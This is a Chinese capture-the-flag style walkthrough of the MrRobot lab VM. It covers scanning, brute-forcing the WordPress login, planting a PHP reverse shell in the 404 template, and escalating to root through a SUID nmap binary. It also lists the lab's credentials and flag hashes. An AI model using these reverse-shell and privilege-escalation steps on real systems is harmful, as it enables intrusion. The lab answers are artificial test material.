MrRobot渗透测试

渗透测试实验流程

信息收集

第 1步: 使用工具扫描主机的 IP 以及开放的端口

第 2步:使用工具扫描网站的目录

第 3步:从扫描到的文件入手做信息收集

漏洞扫描

第 4步:对网站进行漏洞扫描

第 5步: 网站有一个登录页,使用 burp 加载字典暴力破解

第 6步: 登录网站,寻找网站的漏洞

漏洞利用

第 7步:利用漏洞获得 webshell 权限

第 8步:使用 shell 登录主机,获取系统密码信息

提权

第 9步:提权

第 10步:找到第三个 KEY

渗透测试实验

MrRobot主机,一切未知,只知道是一台服务器

准备工作: 修改虚拟机网络为 NAT 模式,与 kali 在同一局域网络中

涉及的工具

netdiscover,nmap,dirb,nikto,nc

信息收集

第 1 步: 使用工具扫描主机的 IP 以及开放的端口

命令:netdiscover 或者 netdiscover -i eth0 -r192.168.150.0/24

-idevice:您的网络设备

-rrange:扫描给定范围而不是自动扫描。 192.168.6.0/24,/16,/8

发现目标机IP

Netdiscover 0.5.1 [主动/被动 ARP 侦察工具]

用法:netdiscover [-idevice] [-r range | -l 文件| -p] [-m file] [-F filter] [-s time] [-c count] [-n node] [-dfPLNS]

-idevice:您的网络设备

-rrange:扫描给定范围而不是自动扫描。 192.168.6.0/24,/16,/8

-lfile:扫描包含在给定文件中的范围列表

-p被动模式:不发送任何东西,只有嗅探

-mfile:扫描已知 MAC 和主机名列表

-Ffilter:自定义 pcap 过滤器表达式(默认值:“arp”)

-stime:每个 ARP 请求之间的休眠时间(毫秒)

-ccount:发送每个 ARP 请求的次数(对于丢包的网络)

-nnode:用于扫描的最后一个源 IP 八位字节(从 2 到 253)

-d忽略自动扫描和快速模式的主配置文件

-f启用快速模式扫描,节省大量时间,建议用于自动

-P打印的格式适合另一个程序解析,并在主动扫描后停止

-L类似于-P,但在主动扫描完成后继续侦听

-N不打印标题。仅在启用-P 或-L 时有效。

-S在每个请求之间启用睡眠时间抑制(硬核模式)

或使用命令:arp-scan -l

获取IP后获取端口:nmap -p- -sV -O 192.168.150.144

-p- 所有端口

-sV:探测开放端口以确定服务/版本信息

-O:启用OS 检测

nmap 7.70(https://nmap.org

用法:nmap [扫描类型] [选项] {目标规范}

目标规格:

可以传递主机名,IP地址,网络等。

例如:scanme.nmap.orgmicrosoft.com/ 24,192.168.0.1; 10.0.0-255.1-254

-iL<inputfilename>:从主机/网络列表输入

-iR<num hosts>:选择随机目标

--exclude<host1 [,host2] [,host3],...>:排除主机/网络

--excludefile<exclude_file>:从文件中排除列表

主机发现:

-sL:列表扫描- 只列出要扫描的目标

-sn:Ping扫描 - 禁用端口扫描

-Pn:将所有主机视为在线- 跳过主机发现

-PS /PA / PU / PY [端口列表]:给定端口的 TCP SYN / ACK,UDP 或 SCTP 发现

-PE /PP / PM:ICMP 回送,时间戳和网络掩码请求发现探测

-PO[协议列表]:IP 协议 Ping

-n /-R:从不进行 DNS 解析/始终解析[默认:有时]

--dns-servers<serv1 [,serv2],...>:指定自定义 DNS 服务器

--system-dns:使用OS 的 DNS 解析器

--traceroute:每个主机的跟踪跳转路径

扫描技术:

-sS /sT / sA / sW / sM:TCP SYN / Connect()/ ACK / Window / Maimon 扫描

-sU:UDP扫描

-sN /sF / sX:TCP Null,FIN 和 Xmas 扫描

--scanflags<flags>:自定义 TCP 扫描标志

-sI<zombie host [:probeport]>:空闲扫描

-sY /sZ:SCTP INIT / COOKIE-ECHO 扫描

-sO:IP协议扫描

-b<FTP 中继主机>:FTP 反弹扫描

端口规格和扫描令:

-p<端口范围>:仅扫描指定的端口

例如:-p22;-p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9

--exclude-ports<端口范围>:从扫描中排除指定的端口

-F:快速模式- 扫描比默认扫描更少的端口

-r:连续扫描端口- 不要随机化

--top-ports<number>:扫描<number>最常见的端口

--port-ratio<ratio>:扫描端口比<ratio>更常见

服务/版本检测:

-sV:探测开放端口以确定服务/版本信息

--version-intensity<level>:从 0(亮)到 9(尝试所有探针)设置

--version-light:限制最可能的探针(强度2)

--version-all:尝试每一个探针(强度9)

--version-trace:显示详细的版本扫描活动(用于调试)

脚本扫描:

-sC:相当于--script= default

--script= <Lua scripts>:<Lua scripts>是逗号分隔的列表目录,脚本文件或脚本类别

--script-args= <n1 = v1,[n2 = v2,...]>:为脚本提供参数

--script-args-file= filename:在文件中提供 NSE 脚本 args

--script-trace:显示发送和接收的所有数据

--script-updatedb:更新脚本数据库。

--script-help= <Lua scripts>:显示有关脚本的帮助。

<Luascripts>是以逗号分隔的脚本文件列表或脚本的类别。

操作系统检测:

-O:启用OS 检测

--osscan-limit:将OS 检测限制为有希望的目标

--osscan-guess:更积极地猜测操作系统

时间和性能:

采用<time>的选项以秒为单位,或追加'ms'(毫秒),

该值的's'(秒),'m'(分钟)或'h'(小时)(例如30m)。

-T<0-5>:设置时序模板(越高越快)

--min-hostgroup/ max-hostgroup <size>:并行主机扫描组大小

--min-parallelism/ max-parallelism <numprobes>:探测并行化

--min-rtt-timeout/ max-rtt-timeout / initial-rtt-timeout <time>:指定探测往返时间。

--max-retries<tries>:端口扫描探测重传的上限数量。

--host-timeout<time>:在此之后放弃目标

--scan-delay/ - max-scan-delay <time>:调整探针之间的延迟

--min-rate<number>:发送数据包的速度不低于每秒<number>

--max-rate<number>:发送数据包的速度不超过<number>每秒

防火墙/ IDS 逃脱和防御:

-F;--mtu <val>:分段数据包(可选择 w /给定 MTU)

-D<decoy1,decoy2 [,ME],...>:用诱饵披露扫描

-S<IP_Address>:欺骗源地址

-e<iface>:使用指定的接口

-g /- source-port <portnum>:使用给定的端口号

--proxies<url1,[url2],...>:通过 HTTP / SOCKS4 代理的中继连接

--data<hex string>:为发送的数据包附加自定义有效负载

--data-string<string>:为发送的数据包附加自定义 ASCII 字符串

--data-length<num>:将随机数据附加到已发送的数据包

--ip-options<options>:发送带有指定 ip 选项的数据包

--ttl<val>:设置 IP 生存时间字段

--spoof-mac<mac address / prefix / vendor name>:欺骗你的 MAC 地址

--badsum:使用伪TCP / UDP / SCTP 校验和发送数据包

OUTPUT:

-oN /-oX / -oS / -oG <file>:正常输出扫描,XML,s | <rIpt kIddi3,

和Grepable 格式,分别为给定的文件名。

-oA<basename>:一次输出三种主要格式

-v:增加详细级别(使用-vv或更高级别以获得更好的效果)

-d:提高调试级别(使用-dd或更多以获得更好的效果)

--reason:显示端口处于特定状态的原因

--open:仅显示打开(或可能打开)的端口

--packet-trace:显示发送和接收的所有数据包

--iflist:打印主机接口和路由(用于调试)

--appe

访问该网站:http://192.168.150.144:80

第 2 步:使用工具扫描网站的目录

dirb http://192.168.150.144

DIRB v2.22 由黑暗掠夺者

dirb<url_base> [<wordlist_file(s)>] [options]

=============注意=====================

<url_base>:要扫描的基本网址。(使用-resume 恢复会话)

<wordlist_file(s)>:wordfiles列表。 (wordfile1,wordfile2,wordfile3 ...)

========================HOTKEYS ========================

'n'- >转到下一个目录。

'q'- >停止扫描。 (保存状态为简历)

'r'- >剩余的扫描统计数据。

========================选项========================

-a<agent_string>:指定自定义 USER_AGENT。

-b:按原样使用路径。

-c<cookie_string>:为 HTTP 请求设置 cookie。

-E<certificate>:客户端证书的路径。

-f:NOT_FOUND(404)检测的精细调整。

-H<header_string>:向 HTTP 请求添加自定义标头。

-i:使用不区分大小写的搜索。

-l:找到时打印“位置”标题。

-N<nf_code>:忽略此 HTTP 代码的响应

-o<output_file>:将输出保存到磁盘。

-p<proxy [:port]>:使用此代理。 (默认端口为 1080)

-P<proxy_username:proxy_password>:代理验证。

-r:不要递归搜索。

-R:交互式递归。(询问每个目录)

-S:静音模式。不要显示经过测试的单词。(对于哑终端)

-t:不要在URL 上强制使用结尾'/'。

-u<用户名:密码>:HTTP 身份验证。

-v:还显示NOT_FOUND 页面。

-w:不要停止WARNING 消息。

-X<extensions> / -x <exts_file>:使用此扩展名附加每个单词。

-z<millisecs>:添加毫秒延迟以不会导致过多洪水。

==========示例==================

dirbhttp:// url / directory /(简单测试)

dirbhttp:// url / -X .html(带'.html'扩展名的测试文件)

dirbhttp:// url / /usr/share/dirb/wordlists/vulns/apache.txt(使用 apache.txt

wordlist测试)

dirbhttps:// secure_url /(使用 SSL 进行简单测试)

搜索到一个.txt文件:

第 3 步:从扫描到的文件入手做信息收集

访问:http://192.168.150.144/robots.txt

命令:curl http://192.168.150.144/robots.txt

可以发现一个字典文件和一个hash 值

访问:http://192.168.150.144/fsocity.dic 下载

命令:curl http://192.168.150.144/fsocity.dic | more

Hash值尝试爆破

命令:curl http://192.168.150.144/key -1-of-3.txt

发现没有找到,无法爆破

漏洞扫描

第 4 步:对网站进行漏洞扫描

命令:nikto -host 192.168.150.144

选项主机需要参数

-config+使用此配置文件

-显示+打开/关闭显示输出

-dbcheck检查数据库和其他密钥文件是否存在语法错误

-Format+保存文件(-o)格式

-帮助扩展帮助信息

-host+目标主机/ URL

-id+要使用的主机身份验证,格式为 id:pass 或 id:pass:realm

-list-plugins列出所有可用的插件

-output+将输出写入此文件

-nossl禁用 SSL

-no404禁用 404 检查

-Plugins+要运行的插件列表(默认值:ALL)

-port+使用端口(默认为 80)

-root+为所有请求预置根值,格式为/ directory

-ssl在端口上强制 ssl 模式

-调整+扫描调整

-timeout+请求超时(默认为 10 秒)

-update从 CIRT.net 更新数据库和插件

-VersionPrint 插件和数据库版本

-vhost+虚拟主机(用于主机头)

+需要一个值

第 5 步: 网站有一个登录页,使用 burp 加载字典暴力破解

访问:http://192.168.150.144/wp-login.php

先尝试手工破解,输入一些简单用户名和密码,看显示内容

可以发现是当用户名不对时会显示用户名不对,所以可以尝试暴力破解,字典用刚才网站上获取到的。

使用BurpSuite 抓包,转发攻击模块,选择加载字典文件,发起攻击。

可以发现用户名找到了Elliot

有了用户名再继续破解密码:ER28-0652

第 6 步: 登录网站,寻找网站的漏洞

有一个模板可以自定义

修改里面的内容进行测试

使用蚁剑,可以查看文件

使用命令:searchsploit wordpress 4.3.1 查看漏洞

漏洞利用

第 7 步:利用漏洞获得 webshell 权限

kali中有一个反射后门:locatewebshell

将后门copy到backdoor目录下:

查看该后门文件:mousepad php-reverse-shell.php, 修改IP为Kali

网站有一个 404 模板页,当访问无效网页时会直接访问这个页面,而这个页面可以修改,我们可以将其替换成一个网页木马从kali中的这个目录找到 php-reverse-shell.php

将其中的内容复制出来,放入到404 模板页中,修改里面的 IP,点击 update file

然后在kali 中监听一个对应的端口,等待触发反弹 shell

访问一个不存在的网页:http://192.168.131.190/403321321321反弹 shell

再执行 python -c 'import pty; pty.spawn("/bin/bash")' 获取一个稳定的 shell

第 8 步:使用 shell 登录主机,获取系统密码信息

查看密码文件

发现没法利用,再看看其他目录

找到一个密码的 md5 散列. c3fcd3d76192e4007dfb496cca67e13b

用户名:robot密码:abcdefghijklmnopqrstuvwxyz

查看文件,发现权限不够

切换账户,获得第二个flag: 822c73956184f694993bede3eb39f959

提权

第 9 步:提权

查找可以利用的SUID 权限程序,可以找到 nmap, 所以用 nmap 执行 root 权限

find/ -user root -perm -4000 -print 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

find/ -user root -perm -4000 -exec ls -ldb {} \

使用nmap --interactive 命令进入 nmap,

然后使用!sh可以产生一个 root 权限的新shell,提权成功

使用!bash-p 也可以产生一个 root 的 shell,到此提权成功

第 10 步:找到第三个 KEY

查看 root 目录下的文件,可以找到第三个flag: 04787ddef27c3dee1ee161b21670b4e4

find 提权命令的解释

suid权限.............................................................................................................................1

查询suid程序命令............................................................................................................1

哪些SUID程序可以提权...................................................................................................2

suid 权限

1. suid 权限的作用

suid权限作用是让普通用户可以以 root(或其他)的用户角色运行只有 root(或其他)账

号才能运行的程序或命令,或程序命令对应本来没有权限操作的文件等。

2. 给程序添加 suid 权限

命令:chmod4777 program #给文件所有者添加 suid 权限,以及各种 RWX 权限

命令:chmodu+s program #给文件所有者添加 suid 权限

查看程序权限:ls-la d.txt

当 x位上没有 x 权限时,有 suid 权限时显示大 S

查询 suid 程序命令

find/ -perm -u=s -type f 2>/dev/null

① /代表从根目录开始查询

②-perm 表示权限

-perm4000 查询文件所有者含有 suid 权限的程序

-perm-u=s 查询文件所有者含有 suid 权限的程序

③-type 表示查询文件类型

-typef 表示查询的为文件

④2>/dev/null 表示重定向输出错误到/dev/null,即不显示错误信息

find/ -user root -perm -4000 -print 2>/dev/null

① /代表从根目录开始查询

②-user 表示要查询的文件所有人

-userroot 表示文件所有者为 root

③-perm 表示权限

-perm4000 查询文件所有者含有 suid 权限的程序

-permu+s 查询文件所有者含有 suid 权限的程序

④-print 表示将查找到的文件输出到标准输出

find/ -user root -perm -4000 -exec ls -ldb {} \;

① /代表从根目录开始查询

②-user 表示要查询的文件所有人

-userroot 表示文件所有者为 root

③-perm 表示权限

-perm4000 查询文件所有者含有 suid 权限的程序

-permu+s 查询文件所有者含有 suid 权限的程序

④-exec 命令{} \; 表示对查找到的文件执行某命令;

-exec表示开始执行动作 {} 表示用 find 命令查找出的所有文件

哪些 SUID 程序可以提权

https://gtfobins.github.io/

可以查询程序看是否有suid 方式提权命令

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值